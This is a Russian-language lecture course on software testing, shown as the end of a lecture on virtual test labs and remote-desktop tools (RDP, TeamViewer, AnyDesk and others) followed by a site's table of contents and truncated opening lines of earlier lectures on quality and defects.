VMLogix поддерживает обслуживание физических серверов организации. Архитектура
решения VMLogix LabManager представлена на Рис. 11.7.:
308
Рис. 11.7. - Архитектура решения VMLogix LabManager.
LabManager предоставляет пользователям портал самообслуживания, с помощью

которого пользователи могут развертывать виртуальные машины из централизованной
библиотеки шаблонов и ISO-образов операционных систем, а также имеет
возможности управления лицензиями, настройки зон назначаемых IP-адресов и
возможности аудита безопасности виртуальной тестовой инфраструктуры. Кроме того,
VMLogix LabManager также имеет средства автоматизации операций посредством
программного интерфейса API, возможности по развертыванию и обслуживанию
многомашинных конфигураций и функции для демонстрации проблемных ситуаций
путем предоставления общего доступа к снимкам состояния виртуальных машин.
Заключение
Модель организации процесса разработки и тестирования с помощью виртуальных

машин позволяет существенно снизить затраты на развертывание тестовых
пользовательских окружений и конфигурацию тестовых сред. По статистике, при
тестировании программных продуктов на физических серверах и рабочих станциях, на
эти задачи уходит до 50 процентов времени команды тестирования. Виртуальные
309
машины на платформах различных вендоров позволяют сократить это время в

несколько раз, до 5% от общих затрат на тестирование. Повышенная гибкость
виртуальных систем и их независимость от оборудования позволяют работать с ними,
как с некими блоками, из которых строится виртуальная тестовая инфраструктура
компании. Возможность предоставления общего доступа к найденным дефектам
участникам команды разработки и пользователям продукта позволяет существенно
ускорить поиск и исправление ошибок. Во многих компаниях уже стало стандартом де-
факто тестирование с помощью виртуальных машин.
Однако процесс тестирования на виртуальных системах имеет некоторые

ограничения: например, виртуальные системы не рекомендуется применять при
тестировании производительности (Performance Testing), а также - тестировании
приложений, предъявляющих высокие требования к физическим ресурсам
компьютера. Для других видов тестирования виртуальная тестовая инфраструктура
является одним из лучших решений для повышения эффективности процесса
разработки, а также упрощения взаимодействия между участниками команды.
310
Лекция 11, ч.2. Удаленные рабочие столы
Удаленные рабочие столы.

Специализированное программное
обеспечение, применяемое в процессе
Удаленный рабочий стол (Remote Desktop) — это термин, которым обозначается
режим управления, когда один компьютер получает права администратора по
отношению к другому (удаленному). Связь между устройствами происходит в
реальном времени посредством сети Интернет или локальной сети.
Уровень доступа в режиме удаленного администрирования определяется конкретными

задачами и может быть изменен по необходимости. Например:
в одном случае подключение к рабочей сессии дает возможность полного

контроля и взаимодействия с удаленным компьютером, при котором допускается
запуск на нем приложений и манипуляции с файлами;
в другом - удаленный доступ к рабочему столу позволяет лишь вести наблюдения
за процессами, без вмешательства в работу его системы.
Удаленное администрирование — предустановленная функция практически в

каждой известной сегодня операционной системе, одновременно с этим, существует
довольно большое количество программ, которые делают данный процесс более
удобным, добавляя в стандартные версии новые функции.
Существуют несколько видов удаленного администрирования:
Компьютер–сеть - позволяет контролировать работу локальной сети офиса или

интернет-кафе.
Терминал–компьютер - упрощает связь пользователя с системой, например,
платежные терминалы банков.
Компьютер–компьютер - чаще всего применяемый в быту, однако легко решающий
и серьезные управленческие задачи.
Сеть–сеть - отличный инструмент при необходимости взаимодействия между
удаленными корпоративными сетями.
Стоит отметить и возможности перекрестного удаленного администрирования между

различными операционными системам.
311
В основном, данный режим используется администраторами сетей для максимально

быстрого выявления и устранения программных или аппаратных сбоев и мониторинга
систем.
С другой стороны, развитие «облачных» технологий, способствующих

централизованному хранению огромных массивов информации в удаленных сетях и
серверах, как нельзя лучше соответствует основным принципам режима.
Тенденцией последнего времени, стала разработка и внедрение удаленного

администрирования на основе беспроводных систем. Они уступают по
функциональности привычным физическим сетям, но неплохо справляются с
задачами мониторинга, ведения статистики и управлением несложными сетевыми
процессами.
Что такое RDP подключение

RDP подключение позволяет управлять компьютером удалённо. RDP считается так
называемым "прикладным протоколом", который основан на TCP. После того, как
устанавливается соединение на транспортном уровне, начинается инициализация
сессии этого протокола. В рамках такой сессии и происходит передача данных.
После того, как фаза инициализации будет завершена, сервер начинает передавать на
компьютер (где установлен RDP-клиент) графический вывод. Затем сервер ожидает,
когда к нему поступят входные данные от устройств ввода-вывода (мышь и
клавиатура). Если говорить простым языком, то принцип работы RPD выглядит
следующим образом: пользователь при помощи мыши и клавиатуры управляет
компьютером удалённо.
Сегодня эта технология используется повсеместно. Она нужна, в первую очередь, для
того, чтобы управлять компьютерными системами. Также многие наработки этой
технологии используются и в робототехнике. Даже простейшая радиоуправляемая
игрушка основана на схожем принципе. Человеку, в руках которого находится пульт
управления, нужно использовать его, чтобы управлять движением радиоуправляемой
игрушки.
Обычно для графического вывода используется копия дисплея, которая может

передаваться в качестве изображения. Передача вывода происходит при помощи
примитивов.
Для чего используется RDP
Сегодня протокол RDP может применяться в нескольких случаях:
312
1. В целях администрирования.
2. В целях получения доступа к любому серверу приложений.
Этот вид соединения применяется любыми операционными системами, которые

выпускала компания Microsoft. Обычно все серверные версии ОС от Microsoft могут
поддерживать сразу несколько удалённых подключения, а также 1 локальный вход в
систему.
Если же речь идёт о клиентской версии Windows, то она может поддерживать

исключительно 1 вход. Он может быть как удалённым, так и локальным. Для
получения разрешения удалённых подключений нужно включить удалённый доступ к
рабочему столу. Это можно сделать прямо в свойствах рабочей станции.
Важно отметить, этот удалённый доступ возможен далеко не всегда. Удалённый

доступ функционирует исключительно в версии Windows, которая предназначена для
сервера. Ещё одно преимущество в данном случае заключается в том, общее число
удалённых подключений не ограничено. С другой стороны, потребуется настройка
сервера лицензий, а также его активация. Этот сервер можно установить на любой
отдельно взятый сетевой узел, а также - на сервер терминалов.
Некоторые пользователи не понимают, что удалённый доступ к любому серверу может

быть обеспечен только в случае установки все необходимых лицензий на сервер
лицензий.
Протокол удаленного рабочего стола и его возможности
Данный протокол может использоваться для самых разнообразных задач и целей. В

частности, он нужен для:
1. Звуковой подсистемы компьютера.

2. Поддержки функционирования буфера обмена.
3. Последовательного порта.
4. Принтера или других аналогичных устройств (сканера, копира и МФУ).
5. В целях перенаправления файловой системы.
Как защитить RDP
Настройка безопасности RDP - это один из ключевых вопросов. Именно правильная

настройка протокола влияет на то, насколько будет безопасно передавать данные. Это
особенно актуально для государственных компьютерных систем, а также различных
частных коммерческих компаний, которые хотят иметь надёжную защиту от
конкурентов. Сертификат RDP предусматривает использование любого доступного
подхода для обеспечения безопасности. Для RDP можно использовать либо
встроенную подсистему безопасности, либо же внешнюю подсистему безопасности.
313
В случае если пользователь выберет встроенную подсистему, все функции по

обеспечению безопасности будут реализованы средствами, которые изначально
имеются в RDP. Речь идёт о процессах шифрования и аутентификации.
Если же будет выбрана внешняя подсистема безопасности, то пользователю придётся

полагаться на надёжность таких внешних модулей, как CredSSP и TLS. Преимущества
этого способа обеспечения безопасности заключаются в крайне надёжной
аутентификации и эффективном шифровании.
Именно качественное шифрование позволяет защитить свою систему от взлома

злоумышленников. Сегодня существует масса вредоносных программ и алгоритмов,
которые нужны для взлома. Более того, взлом может совершить не только
квалифицированный специалист, но и рядовой пользователь, который приобрёл
специальное вредоносное программное обеспечение.
Многих пользователей интересует вопрос о том, какой порт использует RDP (RDP
сервер). Стандартный порт - это порт под номером 3389/TCP.
Cофт для удаленного администрирования.

Для чего могут понадобиться такие программы? В большинстве случаев они
используются для удаленного доступа к рабочему столу и действий для обслуживания
компьютера системными администраторами и в сервисных целях. Однако, с точки
зрения обычного пользователя, удаленное управление компьютером через Интернет
или по локальной сети также может быть полезным: например, вместо установки
виртуальной машины с Windows на ноутбуке Linux или Mac, можно подключаться к
имеющемуся ПК с этой ОС (и это лишь один возможный сценарий).
Удаленный рабочий стол Microsoft (Microsoft Remote Desktop)
314
Удаленный рабочий стол Microsoft хорош тем, что для удаленного доступа компьютеру
с его помощью не требуется установка какого-либо дополнительного программного
обеспечения, при этом протокол RDP, который используется при доступе, в
достаточной мере защищен и хорошо работает.
Но есть и недостатки. Прежде всего, в то время как подключиться к удаленному

рабочему столу вы можете, не устанавливая дополнительных программ со всех версий
Windows 7, 8 и Windows 10 (а также с других операционных систем, в том числе
Android и iOS, загрузив бесплатный клиент Microsoft Remote Desktop), в качестве
компьютера, к которому подключаются (сервера), может быть только компьютер или
ноутбук с Windows Pro и выше.
Еще одно ограничение — без дополнительных настроек и изысканий подключение к

удаленному рабочему столу Microsoft работает только, если компьютеры и мобильные
устройства находятся в одной локальной сети (например, подключены к одному
роутеру, в случае домашнего использования) или же имеют статические IP в
Интернете (при этом находятся не за маршрутизаторами).
315
Тем не менее, если у вас на компьютере установлена именно Windows 10 (8)

Профессиональная, или Windows 7 Максимальная (как у многих), а доступ требуется
только для домашнего использования, возможно, Microsoft Remote Desktop будет
идеальным вариантом для вас.
TeamViewer
TeamViewer — наверное, самая известная программа для удаленного рабочего стола

Windows и других ОС. Она на русском, проста в использовании, очень функциональна,
отлично работает через Интернет и считается бесплатной для частного
использования. Кроме этого, может работать без установки на компьютер, что полезно,
если вам требуется лишь однократное подключение.
316
TeamViewer доступен в виде «большой» программы для Windows 7, 8 и Windows 10,

Mac и Linux, совмещающей в себе функции сервера и клиента и позволяющей
настроить постоянный удаленный доступ к компьютеру, в виде модуля TeamViewer
QuickSupport, не требующего установки, который сразу после запуска выдает ID и
пароль, которые требуется ввести на компьютере, с которого будет выполняться
подключение. Существует дополнительный вариант - TeamViewer Host -для
обеспечения возможности подключения к конкретному компьютеру в любое время.
Также с недавних пор появился TeamViewer в виде приложения для Chrome, есть
официальные приложения для iOS и Android.
Среди функций, доступных при сеансе удаленного управления компьютером в

TeamViewer
Запуск VPN соединения с удаленным компьютером.

Удаленная печать.
Создание скриншотов и запись удаленного рабочего стола.
Общий доступ к файлам или просто передача файлов.
Голосовой и текстовый чат, переписка, переключение сторон.
Также TeamViewer поддерживает Wake-on-LAN, перезагрузку и автоматическое
переподключение в безопасном режиме.
317
Подводя итог, TeamViewer — это тот вариант, который можно рекомендовать почти
всем, кому потребовалась бесплатная программа для удаленного рабочего стола и
управления компьютером в бытовых целях — в ней почти не придется разбираться,
так как все интуитивно понятно и она проста в использовании. Для коммерческих
целей придется покупать лицензию (в противном случае, Вы столкнетесь с тем, что
сессии будут разрываться автоматически).
Удаленный рабочий стол Chrome (Chrome Remote Desktop)
Google имеет собственную реализацию удаленного рабочего стола, работающую как

приложение для Google Chrome (при этом доступ будет не только к Chrome на
удаленном компьютере, а ко всему рабочему столу). Поддерживаются все настольные
операционные системы, на которые можно установить браузер Google Chrome. Для
Android и iOS также имеются официальные клиенты в магазинах приложений.
318
Для использования Chrome Remote Desktop потребуется загрузить расширение

браузера из официального магазина, задать данные для доступа (пин-код), а на
другом компьютере — подключиться с использованием этого же расширения и
указанного пин-кода. При этом для использования удаленного рабочего стола Chrome
обязательно требуется войти в свой аккаунт Google (не обязательно один и тот же
аккаунт на разных компьютерах).
319
Среди преимуществ способа — безопасность и отсутствия необходимости установки

дополнительного ПО, если вы и так пользуетесь браузером Chrome. Из недостатков —
ограниченная функциональность.
AnyDesk
AnyDesk — еще одна бесплатная программа для удаленного доступа к компьютеру,

причем, создана она бывшими разработчиками TeamViewer. Среди преимуществ,
которые заявляют создатели — высокая скорость работы (передачи графики рабочего
стола) по сравнению с другими такими же утилитами.
320
AnyDesk поддерживает русский язык и все необходимые функции, включая передачу

файлов, шифрование соединения, возможность работы без установки на компьютер.
Впрочем, функций несколько меньше, чем в некоторых других решениях удаленного
администрирования, но именно для использования подключения к удаленному
рабочему столу «для работы» тут есть всё. Имеются версии AnyDesk для Windows и
для всех популярных дистрибутивов Linux. Версии для Mac OS X, iOS и Android
обещаются (уже давно).
Из интересных особенностей — работа с несколькими удаленными рабочими столами

на отдельных вкладках.
321
Удаленный доступ RMS или Remote Utilities
Remote Utilities, представленная на российском рынке как Удаленный доступ RMS (на
русском языке) — одна из самых мощных программ для удаленного доступа к
компьютеру. При этом бесплатна для управления до 10 компьютеров даже для
коммерческих целей.
322
Список функций включает все то, что может понадобиться, а может и не

потребоваться, включая, но не ограничиваясь:
Несколько режимов подключения, включая поддержку подключения RDP через

интернет.
Удаленная установка и развертывание ПО.
Доступ к видеокамере, удаленному реестру и командной строке, поддержка Wake-
On-Lan, функции чата (видео, аудио, текстового), запись удаленного экрана.
Поддержка Drag-n-Drop для передачи файлов.
Поддержка нескольких мониторов.
Это далеко не все возможности RMS (Remote Utilities), если Вам требуется что-то
действительно функциональное для удаленного администрирования компьютеров и
бесплатно, то стоит попробовать этот вариант.
323

Курс лекций Тестирование програмного обеспечения

Загружено:

Сведения о документе

Авторское право

Доступные форматы

Поделиться этим документом

Поделиться или встроить документ

Параметры публикации

Этот документ был вам полезен?

Это неприемлемый материал?

Авторское право:

Доступные форматы

Курс лекций Тестирование програмного обеспечения

Загружено:

Авторское право:

Доступные форматы

Table

1. Введение в тестирование. Жизненный цикл продукта. Методологии

2. Требования. Анализ требований. Тестирование документации. Виды и

3. Отчеты о дефектах. Жизненный цикл “бага”. Багтрекинговые системы.

4. Тестовая документация. Чек-листы, тест-кейсы и др. Программное

5. Техники тест-дизайна. Планирование, Оценка трудозатрат. Отчетность.

6. Архитектура клиент-сервер. Тестирование web.

7. Тестирование UI и верстки. Программное обеспечение, применяемое при

8. Интеграционное тестирование. Тестирование API. Программное обеспечение,

9. Тестирование мобильных приложений. Программное обеспечение,

10. Базы данных и их разновидности. Запросы на выборку и модификацию

11. Виртуальные машины. Удаленные рабочие столы. Специализированное

Обеспечение качества и тестирование

Качество программного обеспечения (Software Quality) - это совокупность

Обеспечение качества (Quality Assurance - QA) - это совокупность мероприятий,

Контроль качества (Quality Control - QC) - это совокупность действий, проводимых

Тестирование программного обеспечения (Software Testing) - это одна из техник

Верификация (verification) - это процесс оценки системы или её компонентов с целью

Валидация (validation) - это определение соответствия разрабатываемого ПО

Тестовый случай (Test Case) - это артефакт, описывающий совокупность шагов,

Баг/Дефект Репорт (Bug Report) - это документ, описывающий ситуацию или

Тестовое Покрытие (Test Coverage) - это одна из метрик оценки качества

Детализация Тест-Кейсов (Test Case Specification) - это уровень детализации

Качество программного обеспечения

Качество программного обеспечения - это степень, в которой ПО обладает

Качество программного обеспечения - это совокупность характеристик ПО,

отвечает то, что ПО работает исправно и точно, функционально совместимо

Надежность (Reliability) – способность ПО выполнять требуемые задачи в

Удобство использования (Usability) – возможность легкого понимания, изучения,

Эффективность (Efficiency) – способность ПО обеспечивать требуемый уровень

Удобство сопровождения (Maintainability) – легкость, с которой ПО может

Портативность (Portability) – характеризует ПО с точки зрения легкости его переноса

Модель качества программного обеспечения

Рис.1. Модель качества программного обеспечения (ISO 9126-1)

Кто такой тестировщик и что он делает

В начале карьеры любой специалист (и тестировщик не является исключением)

Постепенно тестировщик начинает погружаться во все стадии разработки проекта,

Так какие же технические навыки нужны, чтобы успешно начать работать

минимальном уровне, позволяющем провести диагностику проблемы и решить её

Также отметим личностные качества, позволяющие тестировщику быстрее стать

1. Повышенная ответственность и исполнительность;

Да, сложно найти человека, который бы в равной мере обладал всеми

Откуда берутся ошибки в ПО?

Ошибка (error) – это действие человека, которое порождает неправильный результат.

Однако программы разрабатываются и создаются людьми, которые также могут

Сбой (failure) – несоответствие фактического результата (actual result) работы

Сбой в работе программы может являться индикатором наличия в ней дефекта.

Таким образом, баг существует при одновременном выполнении трех условий:

известен ожидаемый результат;

Причиной сбоев могут быть не только дефекты, но также и условия окружающей

Всего существует несколько источников дефектов и, соответственно, сбоев:

ошибки в спецификации, дизайне или реализации программной системы;

Дефекты могут возникать на разных уровнях, и от того, будут ли они исправлены и

Качество (Quality) – степень, в которой совокупность присущих характеристик

Качество программного обеспечения (Software Quality) – это совокупность

Требование (Requirement) – потребность или ожидание, которое установлено.

В первом случае все было сделано правильно и мы получили продукт, полностью

Третий вариант хуже – здесь ошибки были допущены на этапе проектирования

В четвертом случае дефекты были заложены еще на этапе формирования

Условно можно выделить пять причин появления дефектов в программном коде.

1. Недостаток или отсутствие общения в команде. Зачастую бизнес-требования

его идею разработчикам и тестировщикам, результат может оказаться не таким,

1. Тестирование показывает наличие дефектов

Тестирование может показать наличие дефектов в программе, но не доказать их